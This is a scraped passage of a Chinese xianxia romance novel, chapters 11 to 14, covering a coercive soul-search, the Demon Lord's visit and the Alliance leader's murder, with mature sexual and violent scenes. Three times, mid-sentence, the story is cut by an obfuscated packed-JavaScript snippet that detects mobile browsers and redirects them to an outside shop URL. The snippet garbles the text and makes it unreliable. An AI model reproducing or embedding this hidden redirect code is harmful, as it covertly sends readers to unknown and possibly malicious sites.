这些年,灵域魅女间暗中活动的间谍不在少数,不知多少仙盟高层在温柔乡中沦为傀儡眼线。而罗阑,据说她初入仙盟,便是得一人引荐提拔—— 盟主苏沉辰。 若真如此……若真如此…… 离曜眸底暗潮翻涌:“就算你与苏沉辰无关,罗阑,你一个魅女,能当上仙盟总参事,胆子够大,本事也不小,到现在被我戳破,就一点不害怕么?” 罗阑听出他话中狠意,缓缓抬眼,那漆黑的眸子里没有一丝光亮,却仿佛能洞穿人心。 “你是想趁现在杀了我么?” “杀你?”离曜微微挑眉,轻嗤一声,“你这么有趣的人,我怎么舍得?” 他倏然松开她,指尖一股灵力凝聚,点上她的眉心。 罗阑身体剧震,识海被强行撕开,她只觉脑中仿佛被千钧巨石碾压,剧烈的痛楚从识海最深处蔓延至四肢百骸,额角顿时冷汗涔涔,却始终紧咬着唇,强撑着不吭一声。 “骨头倒是硬。”离曜贴近罗阑,那双暗金瞳眸紧锁住她,“我倒要亲自瞧瞧,你究竟还藏着多少秘密。” 他神识长驱直入,穿透罗阑识海层层防线,直抵她记忆深处,却在即将触及记忆核心的一瞬,被一道无形屏障弹开。 离曜试图强行突破。可那屏障的阻力却随着他的侵_入越来越强,甚至隐隐欲要反噬。 “不错,竟是专门针对搜魂的识海封锁……罗阑,我还真是小瞧了你。” 之前他的神识分明已侵入到她识海深处,眼下却如同泥牛入海,这种层次的识海封锁,绝非普通宗门手段,只有那些行走于最黑暗的阴影中、承受过最残酷训练的顶尖密探才会被施加。 离曜捏住罗阑后颈,威胁似的摩挲:“这种程度的封锁训练,可不是普通人能承受的。罗阑,是谁把你培养成这样的密探?” 他说着,再度催动神识,狠狠撞向那处屏障。 罗阑急促喘息,脸色早已煞白,黑发都被冷汗浸湿,黏连在侧颈。 “放弃抵抗,你就不疼了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059114|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”离曜在她耳边低声道,声音里罕见地带上了几分诱哄。 罗阑浑身止不住地打颤,指甲深深嵌入掌心,仍是死死守住识海处的封锁,不肯松懈分毫。 怎生这样倔! 离曜心中暗骂。 再继续下去,罗阑的识海极有可能彻底崩溃——这绝不是他想要的结果。 离曜不得不停下,就在他神识后撤中途,一抹异常的气息倏地攫住了他的感知。 离曜转而探向那气息源头—— 一道幽黑的印记,似蛇般缠绕在罗阑神魂最深处,一圈一圈,紧紧箍着她的意识中枢,无声昭示着对她的绝对掌控。 封禁、操控、剥夺…… 那正是百年来最常用以控制魅女的手段:奴契。 强制臣服,不得违逆,生死荣辱尽数系于主人一念。 百年来,不知多少被俘的魅女因此契而彻底沦为毫无尊严的玩物。它的存在,意味着—— 罗阑曾是被豢养的。 而且她至今未能摆脱! 一股无名邪火,轰然冲上离曜头顶! 明明平日里,他离曜才是那个最乐于找她麻烦、看她难堪、肆意欺辱她的人。 明明就在刚才,他还在用最轻佻下流的言语侮辱她,用最粗暴蛮横的手段逼迫她。 可此刻,离曜却感到一种前所未有的暴怒。 怒火烧得他理智嗡嗡作响,胸腔窒闷。 是谁?!究竟是谁?!竟敢在她神魂深处打下如此卑贱的烙印?! 他震怒之下,几乎立刻就要运转灵力,抹除那烙刻在她神魂深处的肮脏印记—— 然而,凝聚灵力的动作却在半途骤然停下。 只因面前的人手中多出了一柄匕首,刀刃冷冷抵在他喉咙上。 离曜回神,禁不住嗤笑:“你难道真以为,凭你这点三脚猫功夫,能制得住我?” 罗阑声音冷冷的:“这匕首制不住你,但毒,却可以。” 离曜简直要笑出声:“罗阑,你莫不是傻了?什么样的奇毒,能在入体后不被我克化?” 罗阑:“我什么时候说过,那毒是下在你身上的?” 离曜听得一怔,脸色忽变:“你难不成——” “不错,”罗阑缓声接道,“那毒,下在陆明身上。” “毒性会侵蚀心脉,若无每日未时专用的解药压制,便会逐渐发作,先是修为溃散,继而……心脉尽断。” “眼下,自你带我离开太玄殿,已过了一刻有余,影一他们定已发觉我被你掳走。” 她微微停顿,“你说,他们见我未至,可还会把今日的解药,按时喂给陆明?” 12. 故影阑珊 离曜眯眼,忽而嗤笑:“你以为空口说几句唬人的话,便能诓住我?” 罗阑脱力般沿着墙壁滑坐下去,听了这话,面色分毫不动:“你可以不信,但陆明因此而死,届时……我也爱莫能助了。” ——罗阑此人,从不做无把握之事。 离曜狠狠磨着后槽牙,垂眸盯着面前人惨白汗湿的脸,终于道:“今日之事,暂且到此。” “……” 他踢踢罗阑的脚:“起来。” 罗阑低着头,散乱的发丝遮住了大半面容,半天没有反应。 离曜不耐地“啧”了声,蹲下身,伸手去拉她胳膊:“你是不想回去,还是……” 他声音骤然停下,罗阑竟不知何时,已彻底昏厥过去。 此刻她双目紧闭,长睫在眼睑下投出脆弱的阴影,破碎的衣襟散乱,露出小片锁骨和肩头,呼吸微弱得几乎察觉不到。 离曜心头一紧,立刻探手按上她腕脉,灵力顺着经络游走了一圈,探查她体内情况。 这一探,却是心惊。 他知道这人身子骨差,但神魂探查按理不该伤及根基。他方才搜魂时,虽用了些手段,却实未料到她修为竟低微至此,连他府中一些专司扫洒的仆役都不如。 但细细一想,魅族确实天生孱弱,难以在修炼上有所成就,多半靠修习魅法和幻术蛊惑人心。 而罗阑……离曜眸色暗了暗,她实在不像会以魅法惑人之辈,这也就难怪她修为不济——即便他先前说得那般不堪,也不过是故意说来刺激她罢了。 离曜目光扫过她狼藉的后领,又迅速移开,脱下外袍裹在她身上,将她整个儿严严实实包住,然后一把揽抱起来。 确认罗阑并非他要找的绛雪,他也不知是失落,还是松了口气。 他低头看向怀中人毫无血色的脸,忽然想起什么,指尖探向她耳后,细致摸索片刻,触到一枚隐蔽的玉扣。 他轻轻一挑,将那玉扣取下。 一道如水波般的涟漪自罗阑耳后漫开,迅速掠过她全身。所过之处,刚化柔,直化曲,她容貌身形都有了些微妙的变化——那张脸乍看似乎没变,却分明从秀雅的青年,变成了清丽的女子。 离曜捏住罗阑的下颌,将她的脸抬高,细细端详。 同样的轮廓,放在女子面容上,少了几分清峭孤傲,多了几分月下幽昙般的柔美与脆弱。 他就这样看了很久,目光一寸寸碾过她的眉、眼、鼻梁,最后落在她咬得血肉模糊的下唇上,指腹轻轻抚过。 他禁不住想象,若是此刻她醒着,那因羞愤而染上薄红的面颊、故作冷淡的表情,出现在这张真实的、属于女子的面容上,会是何种光景。 离曜喉头发紧。 ……他不得不收回之前的话。罗阑,或者说此刻的她,其实很容易……不,是极其容易,便能挑起人的欲望。 那么,苏沉辰呢? 那个将罗阑一手提拔至总参事之位的仙盟盟主,究竟是否知道罗阑魅女身份? 还有……那个在罗阑神魂深处种下奴契之人,又是谁? 她这般遮遮掩掩,遮掩目盲,遮掩真容,遮掩女子身,遮掩魅族本源——都是为了躲那个人么? * 罗阑睡梦之中,又见到了少年时的小凤凰。 那时她为了卫钰病情而向他讨要三滴心头血——凤凰心火,其实正是丹凤族人心头血所化。 “我不过提前向你讨要报酬,你若觉得为难——” 罗阑还没说完,少年便干脆利落地应下了:“这有何难?” 他当时尚且不知,她要将他心火用去给卫钰。她也未料想到,他后来会那般发了狂似的要夺回心火,杀了卫钰。 暗室中,少年眉心亮起一个金印,映得整张脸俊朗非凡,宛若神祇。他双眸缓缓睁开,眼里划过一道半明半昧的异样光彩,开口向她道:“好了。” 他脸色肉眼可见地苍白了几分,将握拢的掌心伸向她,五指张开,三小团赤金火焰在他掌中缓缓旋转。 她当时看得惊愕,“……那我该如何储存?” 少年隔着桌子,缓缓俯身靠近她,“心头血,” 他一面说,一面紧紧盯着她的眼睛,“自然当以心储之。” 话落,三团悬浮的金焰飘进了她的心口。 “感觉到了吗?” “什么?” 少年低垂下眼,“心口处。” 噗通,噗通。 心脏剧烈跳动着,一下,又一下,有种别样的暖意。 “感觉到了。”她摸着心口,想到卫钰体质阴寒,这至阳的凤凰心火,或许真能护住他的心脉。 …… 醒来时,那种温热的感觉似乎仍然停留在心口。 罗阑撑坐起身,鼻端闻到一股清淡的竹香,自窗外幽幽弥散而来。便知道,自己已回到了府邸内的居室。 先前神魂受损,昏迷前头痛欲裂的痛楚,现在竟已再感受不到分毫,她忽而心念一动,意念聚集到心脉处。 玉灵儿端着药盏走进来时,正见到一团金焰从罗阑心口飘出,在空中盘旋。 那火光宛如星火初燃,却带着奇异的灵动,将罗阑整个人笼在一片朦胧暖光里。 玉灵儿看得一呆,手中药盏险些脱手——百年前,她也是见过这心火的!当年那个人对罗阑近乎偏执的痴狂,整个西冥可是有目共睹。他如今……竟真的回来了?还肯将心火再度赠予罗阑? 玉灵儿心绪复杂,偷偷打量罗阑,可罗阑那张脸上依旧没什么表情,眼睫低垂,情绪一如既往敛得极深,令人无从窥探。 玉灵儿定了定神,将药盏放在床头小几上,开口道:“影一他们送你回来时,你便揪着那袍子,怎么都不肯松手,是有什么紧要不成?” 罗阑这才注意到自己指尖还紧紧攥着的外袍,她闻到那外袍上离曜惯有的味道,忽然丢开手,“将这外袍拿去丢了——” 玉灵儿不明所以,但还是拿起那外袍。 罗阑忽又道:“不,还是收起来。” 她从玉灵儿手中拿过那外袍,放到身侧,玉灵儿素知罗阑喜洁,便问:“可要我先拿去浆洗一番?” “……不用。” 玉灵儿听得眼皮一跳,心中古怪之感更甚。她没再多问,转而道:“药快凉了,你先喝了吧,这安神固元的药总归有益。” 罗阑“嗯”了一声,却没去碰药盏,反而问她:“你可识得赵富此人?” “赵富?”玉灵儿拼命回想,“好像……是有这么个人。应是个常在阙都活动的富商,家底颇厚,交际也广。你怎么突然问起他?” 罗阑淡淡道:“此人必定早已窥知,离曜这些年来在找的,就是传闻中的那个……‘绛雪’。并且,他百年前,必定曾见过那时的我。” 玉灵儿奇道:“可他是个凡人无疑,并无半点修为在身,看他如今样貌,年岁根本对不上呐。” 罗阑道:“正因如此,才更可疑。我此行本想将他暗中带回,不料这人竟趁着庆宴提前跑了。” 玉灵儿疑惑:“以你的手段,既然盯上了他,难道还未遣人去查?怎的倒先来知会我?” 罗阑道:“你和这赵富,可曾……” 她斟酌着措辞。 “你可让赵富看过……”罗阑顿了顿,“看过你的身体。” 玉灵儿先是一愣,随即像是受到了莫大的冒犯,瞪着罗阑:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059115|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没那么饥不择食!” 玉灵儿也算是魅族中的佼佼者,精擅魅术,就算不借魅法修炼,魅族女子破身之后也会定期经历情潮,她虽做不到像罗阑那样近乎苦修般的寡欲,可也算是精挑细选。 罗阑平静道:“可那赵富却言之凿凿,说见过你身上西冥魔纹。” 玉灵儿怔住,定定盯着罗阑,喃喃道:“可我身上的魔纹……你不是早在十五年前,就替我解了么?” 十五年前,玉灵儿从寂烬海畔救起罗阑,也是在那一年,罗阑替她解了身上魔纹禁锢。 罗阑道:“在那之前……你可曾……” 玉灵儿打断她:“没有!绝对没有!” 她心中涩然,只恨眼前这人不明白,在得知罗阑身死的那若干年里,她有何心情去做那等事? 罗阑默了默,道:“那么——有三种可能。其一,当时赵富在说谎诓骗离曜,这可能性极小;其二,这赵富只是伪装成凡人,真实修为深不可测,高到连离曜都未曾察觉;其三……” “此人既在百年前就见过你我,识得你身上独有的西冥魔纹,也已认出你身份,那便是——魔域中人,夺舍而来了。” 玉灵儿知道罗阑尚未失明前,便从没有人能在她面前说谎而不被察觉,如今她虽已目盲,可这辨谎的本领还是毋庸置疑的。 她面色难看,道:“莫非是魔宫的暗探?难怪……你这么说我倒想起来了,大约就是在见过那赵富后不久,我发现有魔域暗部在查探你的行迹。” 罗阑冷声道:“他既然知道离曜在找那绛雪,璇玑阁天谕一问世,自然就要怀疑到离曜身上了。” 玉灵儿听着她口中“离曜”这名字,还是有些不习惯。 只不过这些年来,她也从不在罗阑面前提起那人名讳。 当年那人身死后不久,罗阑便也销声匿迹,魔君几乎动用了一切力量搜寻她的下落,可她这一失踪,便是长达八十五载音信全无。有人说她是为负堕凤而轻生,说这话的人,当场便被魔君捏碎了头颅。 所有人皆当罗阑已死,可魔君却从未停止过寻找。 玉灵儿仍记得,初从寂烬海救起罗阑时,她那副模样——如一缕苍白游魂,不言不动,怔怔愣愣。她问罗阑为何失明,失踪那些年间去了何处,又是如何落入寂烬海那等绝地,罗阑始终毫无反应。 她一度以为罗阑神魂已散,彻底痴傻,抱着罗阑哭了很久。 直到眼泪落在罗阑手背上,那沉寂的人才终于有了反应,她费力地抬起手,轻轻拍了拍玉灵儿的背,嘶声道:“我……我无碍的。” 罗阑声音嘶哑低弱得不成样子,玉灵儿那时才惊觉,罗阑的嗓子竟已损毁到无法正常发声了。即便后来经年调养,如今她开口,用的也仍是调整过后的假声。 窗外竹影摇曳,疏淡的光线透过窗棂,映在罗阑沉静苍白的脸上,明明暗暗。 玉灵儿忍不住道:“所以你此次非要请命往去往玄枢,就是为了替他遮掩身份么?我还以为你对他……” 她咬了咬唇:“难不成那些传言,竟不是真的?” 她身后忽然传来一道声音:“怎么不是真的?” 玉灵儿浑身剧震,血液瞬间冻结,僵在原地甚至不敢回头,目光惊恐地投向床榻上的罗阑。 “阿姐当年就和我一起站在城头上,如何将那贱种诱入圈套,步步削尽他反抗之力,皆是阿姐亲自谋划,就连最后那道诛杀令……” “都是阿姐亲口所下。” 声音的主人缓步自玉灵儿身后走出,他一双赤瞳,盯在罗阑身上。 “你说是不是?阿姐。” 玉灵儿双膝一软,跪倒下去,牙关微微打颤道:“……君、君上!” 13. 故影阑珊 床榻上,罗阑始终垂着眼睫,魔君步步走到她跟前,盯住她看了很久,像要把她整个人刻进眼底。 他声音里压抑着情绪,似叹非叹道:“阿姐可真是……让我好找。” 罗阑冷道:“你身为魔域共主,怎敢就这么跑到灵域来?” “为了见阿姐,我有何处来不得?”魔君勾了勾唇角,笑意却未达眼底,语气忽转冷,“可恨这贱婢得了你消息,竟敢瞒着我拖了这么久!” 话落,一记凝如实质的漆黑煞刃,撕裂空气直取玉灵儿眉心,竟是毫不留情,要当场将她斩灭! 玉灵儿骇得惊呼出声。 “是我让她瞒着你的。”罗阑忽道,“你想连我也一起杀了吗?” 煞刃在距玉灵儿眉心半寸处生生顿住。魔君五指狠狠一收,煞刃当空迸碎,化作黑雾消散。 罗阑道:“你下去吧。” 玉灵儿知道这话是对她说的,忙不迭夺门而出。 窗外竹叶被风拂过的沙沙轻响,衬得这一室凝滞的空气更为逼仄。 魔君伸手,似乎想触碰罗阑的脸,却在半途蜷起手指,只盯住她那双空濛无焦的眼眸:“为何不回魔域找我?你的眼睛……” 罗阑偏头打断他:“这百年来,你这魔君当得正威风,大肆发兵,驱赶魔潮,血洗灵域,动辄屠城……想来,早已不需要我从旁指手画脚。我又何必回去,碍你的眼?” 魔君呼吸陡然粗重,一把攥住罗阑手腕,将她狠狠提起:“所以呢?你就跑到仙盟来当这劳什子的总参事?帮着灵域,对付你的故土?对付你的族人?!” “当初是你!是你罗阑一手扶持我当上这魔域共主!可然后呢?你就这么甩手失踪了百年,你可对得起我?对得起魔域?!” 他说到激动处,面上血红纹路寸寸蔓延,周身魔气不受控制地暴涨翻腾,罗阑似有所感,被他攥住的手腕微动了动,抬起另一只手,轻轻探向他的头顶。 指尖触碰到的,是坚硬、冰冷的尖角。 她一瞬呆怔,语气里有些悲切:“小川,你魔化得……竟已这般严重了。” 这一声久违的“小川”,让魔君周身气息一滞,他深深地望着她:“不错,我如今真不知自己还能清醒几时,或许下一刻,我就会彻底沦为只知杀戮的怪物。” “是以我一得到你的消息,便撇下所有赶来见你了。”他声音低沉下去,“阿姐,你可知,如今魔域上下,已被逼入了何等的绝境?” 罗阑脸色冷凝:“难道……血月异变,竟又加剧了吗?” 血月每百年一次的异变,对魔域而言都是灭顶之灾,魔气暴走,万物畸变,心智沦丧。百年前,血月异动周期从百年骤然缩至三十年,此后越发频繁,据罗阑所知,魔域现今,异变已是每隔三五年便会爆发一次。 魔君惨笑:“何止加剧?到如今,魔域中人,已有超过半数……在异变中彻底失去了心智,魔化成了只知吞噬血肉的‘血傀’。” 他盯着罗阑瞬间苍白下去的脸,道:“你说我放纵军队屠掠,可是阿姐,便是魔域最精锐的军团之中,魔化也日益深重,戾气横暴,有时就连宣烨都难以压制!” “前线每日都有将士失控,反噬同袍!我能如何?除了用更严酷的军纪、更疯狂的进攻来转移这股力量,我还能如何?!” 他猛地攥紧拳头,骨节咯咯作响:“难道要我坐视他们在魔域自相残杀,彻底崩毁吗?!” 饶是罗阑,听到此处也不能不震悚。 她那双空落的眼睛望向远处,像是穿透了虚空,见到了魔域暗无天日的惨状,喃喃道:“竟已到了这般地步么?” “阿姐,”魔君趁着她心神震动,紧紧握住她的手,“我不知你滞留此间有何目的,但现在魔域需要你,我也……需要你。” “此次,你定要跟我回去。” 罗阑早已察觉到,四处隐匿的魔族高手正与影卫对峙,气氛一时紧绷。 她面上仍是不动声色道:“小川,我可以答应你,待此间事了,我便即刻赶回魔域。但现在——” “了结何事?”魔君厉声打断她,“还有何事比魔域存亡更重要?!阿姐,进占灵域,为魔域万民争得一线生机,难道不是我们当年共同的誓言、共同的使命吗?” 罗阑闭了闭眼,长睫在苍白的脸颊上投下脆弱的阴影。 “灵魔两域战争,绵延已有百年。如今的魔域,是何光景?灵域,又是何模样?百年征战,除了无尽的尸骸与仇恨,你可有真正留得住灵域一城一地?可有为魔域换来哪怕一片可供安稳栖息的净土?” 魔君冷笑:“阿姐深谋远虑,我自是远远不如——但在十五年前,我们本已是成功在望!灵域大半疆土到手,各部族也都按次搬迁,可谁知,竟横空杀出个煞星来!若不是他……若不是他……” 他说到此处,咬牙切齿,直听得令人心底生寒。 罗阑苍白着一张脸,缓缓道:“近百年进占得来的疆土,在短短数年间摧枯拉朽般被人夺回,你难道还没有想清楚——” “你当我还不知道他是谁么?!”魔君恨怒至极地打断罗阑,一把甩开她的手,“我问你,那贱种怎还会活着?不仅活着,还一步步,当上了什么狗屁昭夜侯,将我域百年血战、无数牺牲换来的基业,毁于一旦!” 罗阑跌坐回榻上,狼狈地呛咳,低着头,半晌没说出话来。 魔君目光灼灼地攫住罗阑:“你失踪那些年里,可就是为了他?” 罗阑终于缓过气来,不答反道:“你此行不惜亲身犯险来到阙都,恐怕不单是为了找我吧?莫非——” “不错,”魔君目中红光炽盛,阴狠道,“我要亲自,杀一个人。” * 玄枢关城内。 陈骁、王贲和副帅赵统良立在一处营帐内,对着阙都传来的令函,愁眉不展。 陈骁是个暴脾气,率先忍不住,一拳捶在桌上:“我就知道仙盟那帮孙子没安好心!将军此行去了阙都,哪还能脱身!” 赵统良拍了拍他的肩膀,“要相信将军的能耐,他若真不想做的事,这天下也没几人能逼他,既选择留在阙都,想必……也是为了看护住陆明那小子。” 提到陆明,陈骁重重吐出一口浊气,怒火稍平:“不错,有将军在,定能将陆小子全须全尾带回来!” 一直盯着令函沉吟的王贲,此时指尖点了点函中某一行,“不知这罗阑是何来头?我先前还奇怪,此人名不见经传,便是有总参事的名头在,又如何能比拟将军,将军为何如此忌惮。那夜一见,才知……” 赵统良忽道:“你们难道不觉得,将军对那罗阑态度,似乎……格外不同?” 这话一出,帐内静了一瞬。 陈骁和王贲不约而同地想起那夜宴上,离曜把罗阑压在案上的一幕。 陈骁狐疑道:“你这么一说……将军莫不是……好那口?怪道这些年来,多少灵域世家大族送上绝色美人,将军都视若无睹,莫非真得寻几个清秀纤弱些的……” 王贲忙咳了两声,止住他的话头道:“将军私事,岂是我等可以随意揣度议论的?” 话虽如此,王贲却也想起那日那让离曜驻足看了许久的女刺客,细细想来,竟真与那罗阑神韵有几分相似…… 难道…… 王贲不敢深想,摇了摇头。 赵统良却是摆手正色道:“莫要胡乱猜想,我提起此事,并非此意。” 他目光扫过陈骁和王贲,缓缓道:“你们可还记得,七年前溯风原那一战?” 陈骁和王贲神色一凛,立刻点头。那一战惨烈无比,他们至今记忆犹新。 “当时,将军尚未总揽西线军权,麾下直系兵力有限,魔族三路大军突袭猛攻,情势危急。我随将军主力被拖死在滁河谷,分身乏术,后方防务几近崩溃,魔军长驱直入,眼看就要形成合围,将我们一口吞掉。” 赵统良目光深远,“正是在那时,仙盟中枢紧急调拨兵力,甚至……直接越过当时混乱的西线指挥部,对我们几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17059116|194970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处危急的战场,下达了数道极其关键的战令——” “正是这几道战令,稳住了即将崩溃的阵线,为我们争取到了喘息和调整的时间。将军最终才能抓住战机,在滁河谷击退宣烨,回头支援,稳住全局。” 陈骁和王贲屏息听着,他们亲身经历过那场战役的艰难,自然知道当时后方指挥一度混乱,那几道战令是何等重要。 赵统良看着他们,一字一句道: “当时在仙盟中枢,介入总揽后方一切防务调度、物资调配、乃至直接对我们下达那几道关键战令的……” “便是如今这位仙盟总参事——罗阑。” 帐内一时寂静。 陈骁满面震惊与肃然,王贲也陷入了沉思。 赵统良继续道:“将军当时本对此人介入不满,但经此一役,也是叹服不已,有心与之结交。不想此人……却是深恨将军。” 陈骁和王贲对望一眼,俱是惊疑不定:“此话怎讲?” * 而此刻,被麾下三位大将忧心念叨着的离曜,还真就在想着罗阑。 他徘徊在仙盟总坛附近。 按理说他眼下该是去探望陆明的,可他心头莫名一阵燥痒难耐,挠心挠肺。 怀里空落落的。 他忽然有些后悔,不该那么早将罗阑交还给她那些暗卫。 至少……该等她醒来,再逗逗她,看看她羞恼时的反应。 离曜随意寻了处无人的空房,斜倚在墙壁上,从怀里掏出一截素色的绸带,举到鼻端,深深、深深地吸了口气。 他当然知道这是什么—— 就因为知道,所以这寻常的织物,此刻在他掌中,便成了最烈性的春药。 他喉结滚动,实在很想……用这截绸带做些什么。 但不行。 那样会破坏掉绸带上她的味道。 于是,离曜只是把绸带搭在鼻端,闭上眼,脑中肆意回放着罗阑发现他把玩这截绸带时的每一个细节—— 长睫湿颤,嘴唇紧咬,却偏要摆出一副冷然不屈的模样…… “不过是截布……” 真会装。 他低低地笑出声,汗珠沿着青筋暴_凸的脖颈滑落,呼吸渐重。 良久,他餍足地眯起眼,仰头靠着墙壁,喉结上下滚动,长长吐出一口气。 爽完了。 离曜终于反应过来自己都做了些什么。 他拧着眉啧了声,指尖摩挲着那柔软织物。 罗阑这女人…… 也太会勾引人。 在碰到罗阑以前,他都以为,自己不会对绛雪以外的任何人,起同样的欲望。 这个念头让他忽然有些怔忪,推开房门走了出去。 廊外天光正好,洒在仙盟总坛层层叠叠的殿宇楼阁上。 离曜后知后觉地发现,他已走到了仙盟起草政令、存放机要文书的文宣殿附近。 正待离开,不远处忽有人影一闪,离曜定睛看去,那人影竟是从最为机要的枢机主殿内飞掠而出,几个起落便消失在殿宇拐角。 离曜心头顿时起疑,几乎想也未想便追了上去。以离曜的身法,世上绝没有几个人能够从他眼皮底下逃脱,然而待他追至拐角,方才的人影竟已消失不见了。 离曜转身折返,翻窗入了枢机主殿。 一股浓重的焦糊味,顿时扑面而来。 离曜凝眸向高堂上的案台看去,瞳孔骤缩—— 案台陈设庄重规整,卷宗玉简分列有序,却有一具焦黑的尸身倒卧在地,周围散落着被烧得卷曲的文书残页。 一枚通体莹润的琉璃珠滚落在尸身旁。 离曜的目光死死盯住那具焦尸。 尸身上袍服已被烧得看不出原貌,但腰间那枚玄玉雕琢的令牌,赫然昭示出此人的身份—— 殿外忽传来急促的脚步声,紧接着,有人破门而入。 来人见到地上焦尸,脸上血色瞬间褪尽,惨呼道:“盟主!” 14. 故影阑珊 “是他!就是他杀了盟主!” 说话的是苏沉辰亲信副使杜怀瑾,此刻痛忿地揪着离曜指认。 离曜闻言冷嗤:“什么都没见着,你就敢说是我杀了他?” “若非如此,你为何会出现在这文宣殿内!”杜怀瑾双目赤红,“盟主方才言要回来取一份紧要卷宗,片刻功夫,怎就遭此毒手!此地除了你,还有何人!” 墨明子、秦玄策等一行人围在殿内,连同闻讯赶来的仙盟执事与护卫,瞬间将主殿门口堵得水泄不通,都是面色凝重。 此刻刚结束盟议不久,众人本应随苏沉辰前往灵枢天城检视魔染状况,苏沉辰中途折返,去取之前墨明子呈报的研究文牒,不料半晌都不见归来。 杜怀瑾忽收到盟主紧急传讯,急忙赶来查看,众人察觉有异,也都紧随其后。 却不想,才这么短的时间,苏沉辰竟已经…… 众人盯着离曜一举一动,都是如临大敌。 秦玄策盯着那焦尸看了一阵,摇着扇道:“昭夜侯,苏盟主向来处事公允,对你亦多有维护,你就是不满盟内辖制你兵权,也用不着下此毒手吧?” 有人应声道:“苏盟主那般修为,灵域之中,除了你离曜,又还有谁能杀得了他?” 离曜循声望去,见是离幻宫宫主叶千机,不出所料地笑了声,这人向来是秦玄策的应声虫。 众人围拢住离曜,却都隔着一丈有余的距离。面上或是惊惶,或是恐惧,或是怀疑,或是愤慨。 离曜面对此情此景,竟有些说不出的熟悉,心头一股戾气暴涨,他冷森森道:“我若要动手,又岂会留给苏沉辰发讯求救的机会?更不会像个傻子一样,杀了人还杵在原地,等你们来抓么?” “那可未必。”叶千机道,“或许昭夜侯自恃修为,觉得即便被当场撞破,也无人能奈你何呢?” 墨明子检视着那焦黑尸身,此刻忽道:“文宣殿内并无激烈打斗痕迹,盟主似是猝不及防间遭袭致命,而后再被施以火焚。且不论昭夜侯是否有嫌疑,只说这尸身——为何定要焚尸?” 秦玄策“咦”了声:“莫不是刻意用火刑折磨泄愤……何人对苏盟主抱有如此深仇大恨?” 此言一出,众人皆是面色惊变。 “莫非是那堕凤?!” “定是了!那魔头未死,回来报仇了!” 殿中人面面相觑,心中各怀鬼胎。苏盟主身死,他们虽觉沉痛,却也不是看不出事有蹊跷。只是正愁寻不到离曜把柄,若能趁此机会挟制住这尊煞神,可是千载难逢。 可若真凶是那堕凤,情况可就大大不同了。 墨明子正蹙眉沉思间,高佑从殿外急匆匆奔来,他见了殿内情状,先是一惊:“诸位宗主、主事为何都在此处?盟主呢?我有要事禀报!” 墨明子叹道:“高执事,你且说有何事吧?” 高佑急道:“我刚将那陆明带到镇狱司收监不久,可牢狱禁制忽被破开,陆明不见了踪影!” “果是那堕凤劫狱!”有人惊呼出声。 这下就连离曜都变了脸色。 他的确安排了劫狱要救走陆明,但绝不是在这个时辰! 当下,离曜便要飞身出殿,亲自去镇狱司查看情况。 秦玄策使了个眼色,叶千机立马上前拦住离曜,皮笑肉不笑道:“事情未清之前,昭夜侯如何能走?” 离曜不耐再和这群人磨叽,沉下脸道:“你找死?” 他抬手压住腰间长刀,惊惶刀尚未出鞘,但其散发的凛然杀意,已令叶千机脸色一白,竟是踉跄连退数步。 秦玄策却在此刻摇扇笑道:“昭夜侯何必舍近求远?那劫狱的堕凤,可不就在这里吗?” 离曜听了这话,转眸沉沉看向他。 连墨明子都忍不住问:“秦家主此言何意?” 秦玄策微笑道:“墨院长细想,是谁能杀得了苏盟主?是谁要救那陆明?又是谁最有机会在曜光军内,将丹凤心火渡给陆明?那人——自然便是堕凤了。” 高佑此时才反应过来,失声惊呼:“盟主怎的了?!你们是说盟主他——” 然而没人理他。 众人俱都盯着离曜,心神紧绷,只怕惹恼了他。依离曜的性情,这般冤枉他,下一刻便大开杀戒的事,他也不是做不出。 离曜微眯起眼,缓缓抬手,众人顿时紧张戒备,纷纷亮出法器—— 却见离曜只是慢条斯理地整了整自己护腕的系带。 一阵尴尬的寂静。 离曜挑眉扫过众人,嗤笑道:“诸位这草木皆兵的能耐,若用在追查真凶上,苏盟主大约也不至于死得这般不明不白。” 他转向秦玄策:“你待如何?” 秦玄策仍是那副似笑非笑的表情,悠悠道:“简单。昭夜侯只需写张悔罪书,招认自己便是那堕凤,承认杀害苏盟主、劫走陆明之事,仙盟自会念在你往日功绩,从轻发落。” “从轻发落?”离曜像是听到什么笑话,“我若真是堕凤,此刻便该将你们全宰了,何必费事写什么悔罪书?” 秦玄策故作惊疑:“昭夜侯先前不是还亲口承认自己就是那堕凤了么?怎么此刻,竟又不肯认了?” 离曜森然道:“本将行事,何时轮得到你来置喙?” 他手指落在刀柄上,微微用力,杀戮的本能已在体内躁动,这具身体记得每一次拔刀,每一次收割生命时的快意。 